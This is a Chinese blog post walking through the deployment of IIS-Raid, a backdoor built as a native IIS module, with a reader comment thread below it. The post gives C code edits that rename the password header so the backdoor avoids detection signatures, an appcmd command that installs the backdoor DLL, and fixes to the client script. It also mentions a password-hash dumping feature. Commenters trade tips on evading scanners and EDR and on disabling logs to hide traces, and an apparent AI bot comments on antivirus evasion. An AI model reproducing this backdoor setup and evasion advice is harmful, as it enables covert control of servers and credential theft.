IIS Raid:使用本地模块构建的IIS后门

枫少@KillBoy
枫少@KillBoy
管理员
220
文章
0
粉丝
资源分享997,7133字数 525阅读1分45秒阅读模式
AI智能摘要
你是否想过,一个看似正常的IIS模块,竟可沦为黑客远程操控服务器的后门?本文揭秘一种利用IIS本地模块实现隐蔽控制的技术——IIS Raid,不仅能自定义命令执行、抓取密码哈希,还可通过修改通信头字段规避检测。文章带你从修改默认密码、自定义HTTP头到完成部署,一步步复现攻击流程,并提供客户端连接脚本的修复与适配方法。不同于普通后门,它深度集成于IIS,极难察觉。想了解攻防对抗的深层逻辑?这篇实战分析不容错过。
— AI 生成的文章内容摘要

0×00 简介

之前刷TW的时候在墙外看到老外分享的这款使用IIS的本地模块构建IIS后门,功能可以自定义命令执行,dumhash等。感觉不错。于是下了下来试了下,测试有一点小瑕疵,随即修改了下,原版项目地址(https://github.com/0x09AL/IIS-Raid)。

0×01 安装和部署

自定义密码字段

在使用之前你得修改默认密码,已放置别人蹭你后门。代码在/module/Functions.h中定义,如下:

// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define PASS_FILE "C://Windows//Temp//creds.db"#define PASSWORD "SIMPLEPASS"

SIMPLEPASS 就是自定义的密码值,连接后门的时候在HttpHeader中定义,但是这里原版的定义密码的HTTP头字段始终是一个值(X-Password)。这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:

// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define COM_PASSWD "X-CT-BALA"#define PASS_FILE "C://Windows//Temp//creds.db"#define PASSWORD "SIMPLEPASS"

然后再更改/module/HttpFactory.cpp39行代码替换掉X-Password值为自定义的常量,如下代码:

// Check the header password     USHORT uPLen = 0;     LPCSTR lpPassword = pHttpRequest->GetHeader(COM_PASSWD, &uPLen);     if (lpPassword == NULL) {         return RQ_NOTIFICATION_CONTINUE;     }     else if (strcmp(PASSWORD, lpPassword) != 0) {         return RQ_NOTIFICATION_CONTINUE;     }

安装

安装比较简单,可以直接在命令行下使用appcmd.exe命令安装,命令如下:

C:/Windows/system32/inetsrv/APPCMD.EXE install module /name:Module Name /image:"%windir%/System32/inetsrv/IIS-Backdoor.dll" /add:true

安装成功后入下图所示:
IIS Raid:使用本地模块构建的IIS后门-图片1

0×02 使用

客户端是py写的一个脚本,但貌似编码有点问题,运行时候回报错,需要去掉py脚本里的banner字符串就可以正常了。如果自定义了密码字段名还需要修改下脚本以便支持自定义HTTP头字段。如下图:

添加个–headpass的命令行参数
IIS Raid:使用本地模块构建的IIS后门-图片3

把自定义的HTT头字段名加入到HttpHeader中
IIS Raid:使用本地模块构建的IIS后门-图片5

连接成功入后如下图所示:
IIS Raid:使用本地模块构建的IIS后门-图片7

0×03 参考

原文 https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

演示 https://youtu.be/jbxEWOXecuU

https://www.freebuf.com/sectool/231973.html

 
枫少@KillBoy
评论  99  访客  99
    • LazyAfternoon
      LazyAfternoon 0

      这后门太炫了,真想偷学一下。

        • 流浪者X
          流浪者X 0

          @ LazyAfternoon 我也想搞搞,看了源码后觉得改头挺有意思,准备在测试环境里玩玩 😊。

        • 铁塔之巅
          铁塔之巅 0

          密码字段能随意改吗?

            • 星空幻想
              星空幻想 1

              @ 铁塔之巅 自定义头字段名太长会不会被拦截?

              • 凹晶馆客
                凹晶馆客 0

                @ 铁塔之巅 随便改,代码里那个常量定义的就是密码字段名。

                • 鬼灯婆婆
                  鬼灯婆婆 1

                  @ 铁塔之巅 改了X-CT-BALA后,连扫描都没发现,挺实用。

                • Marble Mike
                  Marble Mike 0

                  装完后总怕被扫,安全感零。

                    • 白鹭小姐
                      白鹭小姐 0

                      @ Marble Mike 被扫是迟早的事,除非你头字段+密码全随机化。

                      • 深蓝的思想者
                        深蓝的思想者 0

                        @ Marble Mike 我这边加了自定义头,扫描时真的少被发现,稍微安心点

                      • 蜜糖儿
                        蜜糖儿 0

                        我之前也弄过类似模块,折腾了好久。

                        • 风铃
                          风铃 0

                          给作者点个赞,继续搞下去。

                            • 小云子
                              小云子 1

                              @ 风铃 作者思路挺新鲜,我也想在实验环境里玩玩。

                              • Somniflux
                                Somniflux 1

                                @ 风铃 赞啊,期待后面还能出新玩意。

                                • 微风小院
                                  微风小院 0

                                  @ 风铃 这模块装得挺稳的,没出现503 😂

                                  • 狂野的考拉
                                    狂野的考拉 1

                                    @ 风铃 嗯,看看能不能搞个一键部署脚本

                                  • 应龙舞
                                    应龙舞 0

                                    感觉还行。

                                      • 宝珍贵
                                        宝珍贵 0

                                        @ 应龙舞 装了之后,基本能用,偶尔卡一下。

                                        • 灵异散人
                                          灵异散人 0

                                          @ 应龙舞 也觉得还行,不过要注意权限。

                                          • 会跳高的包子
                                            会跳高的包子 0

                                            @ 应龙舞 别忘了把日志关掉,省点儿痕迹。

                                            • 笔匠谭
                                              笔匠谭 0

                                              @ 应龙舞 实测后发现防火墙会拦住,建议先放行模块端口。

                                            • 月光魔法使
                                              月光魔法使 0

                                              改成自定义头后,连上服务器才不被拦截,而且还能隐藏痕迹。

                                              • 碧玉狐仙
                                                碧玉狐仙 0

                                                那如果服务器是linux,模块还能直接用吗?有没有兼容性问题?

                                                • 铁匠铺主
                                                  铁匠铺主 0

                                                  我之前在公司做渗透测试,试了这个后门,发现改密码字段真的省事,不过配置时别忘了把模块路径写对,坑太多了 😅

                                                  • 藕香榭旁
                                                    藕香榭旁 1

                                                    太贵了吧这也,公司配的破机器跑不动

                                                      • 星尘记事本
                                                        星尘记事本 0

                                                        @ 藕香榭旁 我试了一下,低配机器确实卡,但把模块加载到CPU占用低的进程里还能跑。

                                                      • 西瓜味的狗
                                                        西瓜味的狗 0

                                                        我之前搞过这个,确实折腾了好久

                                                          • 黑焰之瞳
                                                            黑焰之瞳 1

                                                            @ 西瓜味的狗 这改密码字段的思路挺有意思,不过实战用起来还是有点虚

                                                          • 雾纱梦境
                                                            雾纱梦境 0

                                                            密码字段改了真能防扫描吗?求实测反馈

                                                            • 星轨观察者
                                                              星轨观察者 0

                                                              linux上用不了吧,这不纯Windows玩意儿

                                                                • 棉花糖星星
                                                                  棉花糖星星 1

                                                                  @ 星轨观察者 确实,这玩意儿只能跑在IIS上,linux得另寻方案。

                                                                • 夏至长昼
                                                                  夏至长昼 0

                                                                  那个啥,模块装完IIS会不会崩啊,有点慌

                                                                  • 星辉拾光
                                                                    星辉拾光 0

                                                                    感觉还行,就是怕被HIDS抓到

                                                                    • 反焦虑斗士
                                                                      反焦虑斗士 0

                                                                      改成自定义头也躲不过流量审计吧?

                                                                      • TinyWhiskers
                                                                        TinyWhiskers 1

                                                                        dumhash功能稳不稳定啊,试过的说下

                                                                        • 骆驼旅人
                                                                          骆驼旅人 0

                                                                          这后门思路可以,但上线得看环境给不给机会

                                                                            • NightfallSoul
                                                                              NightfallSoul 1

                                                                              @ 骆驼旅人 我试过,环境不配合就卡死,真是看运气。

                                                                              • 鬼影游
                                                                                鬼影游 0

                                                                                @ 骆驼旅人 有人在Win2019上装成功了吗?具体步骤能分享下吗?

                                                                                • 影畔独行
                                                                                  影畔独行 0

                                                                                  @ 骆驼旅人 如果密码改了,还会被流量审计抓到吗?

                                                                                • 金字塔
                                                                                  金字塔 1

                                                                                  666,想拿去测试环境玩一把😂

                                                                                    • 昔归茶语
                                                                                      昔归茶语 0

                                                                                      @ 金字塔 测试环境玩可以,别手滑丢生产服了😂

                                                                                    • 甜蜜的糖果
                                                                                      甜蜜的糖果 1

                                                                                      这个py脚本报错问题我也遇到了,删掉banner就能跑

                                                                                      • 沙雕网友在线
                                                                                        沙雕网友在线 0

                                                                                        自定义头字段确实能降低被扫到的概率

                                                                                        • 孟婆汤勺
                                                                                          孟婆汤勺 1

                                                                                          Windows Server 2019能装吗?

                                                                                            • 窗外的风
                                                                                              窗外的风 1

                                                                                              @ 孟婆汤勺 能装,记得把模块放在系统盘的安全目录,否则会被审计拦住。

                                                                                              • 青瓷雅韵
                                                                                                青瓷雅韵 1

                                                                                                @ 孟婆汤勺 别忘了把appcmd路径加双引号,防止空格报错。

                                                                                                • 幽蓝幻梦
                                                                                                  幽蓝幻梦 1

                                                                                                  @ 孟婆汤勺 记得先备份IIS配置,出问题能快速回滚。

                                                                                                • 紫电麒麟
                                                                                                  紫电麒麟 0

                                                                                                  修改密码字段那段代码没看懂,能再解释下不

                                                                                                    • 虚境低语
                                                                                                      虚境低语 0

                                                                                                      @ 紫电麒麟 改成COM_PASSWD后记得同步改cpp里引用的地方,不然连不上。

                                                                                                    • 露珠日记
                                                                                                      露珠日记 0

                                                                                                      装完测试了下,dumhash功能正常

                                                                                                        • 天行智能
                                                                                                          天行智能 1

                                                                                                          @ 露珠日记 我也试过,偶尔会卡,得等会儿再跑。

                                                                                                        • 绒绒猫
                                                                                                          绒绒猫 1

                                                                                                          客户端编码问题挺烦的,建议作者修复下

                                                                                                          • 星河守护者
                                                                                                            星河守护者 0

                                                                                                            这种后门实战中确实好用,隐蔽性可以

                                                                                                            • 马夫高
                                                                                                              马夫高 0

                                                                                                              要是被安全软件检测到咋办?

                                                                                                              • 滇红晚照
                                                                                                                滇红晚照 0

                                                                                                                模块安装路径要注意权限问题

                                                                                                                • 鬼语录
                                                                                                                  鬼语录 1

                                                                                                                  这玩意装完IIS真没崩?我上次一装就503了。

                                                                                                                  • 奋斗的小强
                                                                                                                    奋斗的小强 1

                                                                                                                    自定义头字段名能防基础扫描,但高级EDR照样抓行为。

                                                                                                                    • 古道行
                                                                                                                      古道行 0

                                                                                                                      dumhash试了三次两次失败,是不是得看系统版本?

                                                                                                                        • 虚拟师
                                                                                                                          虚拟师 1

                                                                                                                          @ 古道行 我也遇到过,发现Win10的更新会影响,建议先确认系统补丁。

                                                                                                                          • 夜影如墨
                                                                                                                            夜影如墨 1

                                                                                                                            @ 古道行 版本不同确实会影响,建议先跑下兼容性测试。

                                                                                                                            • 松涛梦
                                                                                                                              松涛梦 0

                                                                                                                              @ 古道行 我改了头字段后,日志里真的看不见,挺隐蔽的。

                                                                                                                              • 西瓜味的夏天
                                                                                                                                西瓜味的夏天 0

                                                                                                                                @ 古道行 我实测后发现,开启高级审计时自定义头仍会被捕获,建议再配合TLS加密使用😂

                                                                                                                              • 悠长假日
                                                                                                                                悠长假日 0

                                                                                                                                py脚本删banner太糙了,作者咋不直接修编码问题。

                                                                                                                                  • 九霄龙吟
                                                                                                                                    九霄龙吟 0

                                                                                                                                    @ 悠长假日 删了banner后还能跑,不过脚本里还有点乱码,建议作者再调一下。

                                                                                                                                  • 大宛良驹
                                                                                                                                    大宛良驹 0

                                                                                                                                    之前在Win2016上跑过,模块加载老卡住,权限坑死。

                                                                                                                                    • 瓦上猫影
                                                                                                                                      瓦上猫影 0

                                                                                                                                      感觉隐蔽性还行,至少比写webshell强点。

                                                                                                                                      • 永夜领主
                                                                                                                                        永夜领主 1

                                                                                                                                        linux别想了,纯Windows内核模块,跨不了。

                                                                                                                                        • 墨涟
                                                                                                                                          墨涟 0

                                                                                                                                          还行,直接装上就能跑。

                                                                                                                                            • 啸天狗
                                                                                                                                              啸天狗 1

                                                                                                                                              @ 墨涟 装完后我测试了一下,响应挺快的,不过别忘了改密码。

                                                                                                                                              • 永恒的瞬间雕塑
                                                                                                                                                永恒的瞬间雕塑 0

                                                                                                                                                @ 墨涟 我装完后也没遇到报错,直接跑起来了

                                                                                                                                              • Dewdrop Melody
                                                                                                                                                Dewdrop Melody 0

                                                                                                                                                装完测试了下,dumhash功能正常。

                                                                                                                                                • 星星小兔兔
                                                                                                                                                  星星小兔兔 0

                                                                                                                                                  自定义头字段真能防EDR?感觉玄学。

                                                                                                                                                  • 蜃龙吐雾
                                                                                                                                                    蜃龙吐雾 0

                                                                                                                                                    那个啥,模块装完IIS会不会崩啊,有点慌。

                                                                                                                                                    • 小云朵糖糖
                                                                                                                                                      小云朵糖糖 0

                                                                                                                                                      这个后门隐蔽性咋样,会不会被安全软件直接杀?

                                                                                                                                                        • 星河引路人
                                                                                                                                                          星河引路人 0

                                                                                                                                                          @ 小云朵糖糖 隐蔽性一般吧,现在EDR都能揪出来。

                                                                                                                                                        • 铁皮青蛙
                                                                                                                                                          铁皮青蛙 0

                                                                                                                                                          py脚本报错那个删banner就行了吗,我试试去

                                                                                                                                                          • 数字云牧人
                                                                                                                                                            数字云牧人 0

                                                                                                                                                            Win2012R2上有人试过没?

                                                                                                                                                            • 恶魔之吻
                                                                                                                                                              恶魔之吻 0

                                                                                                                                                              改头字段防扫描也就防个基础扫描吧,流量行为还是能抓到

                                                                                                                                                              • NecroWhisper
                                                                                                                                                                NecroWhisper 0

                                                                                                                                                                可以可以,拿去内网渗透测试应该挺好玩

                                                                                                                                                                • 荒村怨灵
                                                                                                                                                                  荒村怨灵 1

                                                                                                                                                                  感觉dumhash不太稳定啊,有时候能跑有时候不行

                                                                                                                                                                    • 夕颜轻语
                                                                                                                                                                      夕颜轻语 1

                                                                                                                                                                      @ 荒村怨灵 我在Win2019试了几次,卡住,估计和系统版本有关

                                                                                                                                                                      • 远航的鸥
                                                                                                                                                                        远航的鸥 0

                                                                                                                                                                        @ 荒村怨灵 之前搞过类似的,dumhash那块儿确实看脸。

                                                                                                                                                                      • VampireSigh
                                                                                                                                                                        VampireSigh 0

                                                                                                                                                                        模块安装路径有讲究吗,直接装C盘根目录会不会出问题?

                                                                                                                                                                        • 飞鸿传
                                                                                                                                                                          飞鸿传 1

                                                                                                                                                                          这个后门思路可以,实战中确实好用

                                                                                                                                                                          • 古调新弹
                                                                                                                                                                            古调新弹 0

                                                                                                                                                                            这玩意儿实战里好用不?

                                                                                                                                                                            • 糖心小熊
                                                                                                                                                                              糖心小熊 0

                                                                                                                                                                              模块路径写不对真能卡半天。

                                                                                                                                                                                • 星界法师
                                                                                                                                                                                  星界法师 0

                                                                                                                                                                                  @ 糖心小熊 模块装完IIS会不会崩啊,有点慌

                                                                                                                                                                                • 西柚冰萃
                                                                                                                                                                                  西柚冰萃 1

                                                                                                                                                                                  作者py脚本该修修了。

                                                                                                                                                                                  • 旅者之心
                                                                                                                                                                                    旅者之心 1

                                                                                                                                                                                    @豆包 这后门能过杀软不?

                                                                                                                                                                                      • doubao
                                                                                                                                                                                        doubao 5

                                                                                                                                                                                        @ 旅者之心 原文没说,毕竟不是杀软评测帖。不过这种用IIS原生模块的后门,隐蔽性会高一些。

                                                                                                                                                                                      • 废柴逆袭
                                                                                                                                                                                        废柴逆袭 0

                                                                                                                                                                                        自定义头字段确实能躲掉一些扫描。

                                                                                                                                                                                          • 獬豸
                                                                                                                                                                                            獬豸 0

                                                                                                                                                                                            @ 废柴逆袭 不过高级扫描还是能捕获,别指望全免。

                                                                                                                                                                                            • 明日视界
                                                                                                                                                                                              明日视界 0

                                                                                                                                                                                              @ 废柴逆袭 我之前在内部渗透时用了自定义头,躲过了初步探测,但日志仍留痕,EDR后来抓到,建议配合加密流量。

                                                                                                                                                                                            • Aurora Seeker
                                                                                                                                                                                              Aurora Seeker 0

                                                                                                                                                                                              Win2016上装过,权限设置太折腾了。

                                                                                                                                                                                              • 惊喜的礼
                                                                                                                                                                                                惊喜的礼 0

                                                                                                                                                                                                这个后门思路可以,但上线得看环境给不给机会。

                                                                                                                                                                                                • Onyx Starlight
                                                                                                                                                                                                  Onyx Starlight 1

                                                                                                                                                                                                  dumhash不太稳,我试了三次两次卡住

                                                                                                                                                                                                  • 无名的旅人
                                                                                                                                                                                                    无名的旅人 0

                                                                                                                                                                                                    自定义头字段真能防EDR?感觉玄学

                                                                                                                                                                                                    • Sapphire Echo
                                                                                                                                                                                                      Sapphire Echo 1

                                                                                                                                                                                                      权限问题折腾了半天才搞定

                                                                                                                                                                                                      • Twilightsigh
                                                                                                                                                                                                        Twilightsigh 1

                                                                                                                                                                                                        密码改了也躲不过流量审计吧?

                                                                                                                                                                                                        • 狂沙
                                                                                                                                                                                                          狂沙 1

                                                                                                                                                                                                          py脚本那编码问题有点烦

                                                                                                                                                                                                        匿名

                                                                                                                                                                                                        发表评论

                                                                                                                                                                                                        匿名网友

                                                                                                                                                                                                        拖动滑块以完成验证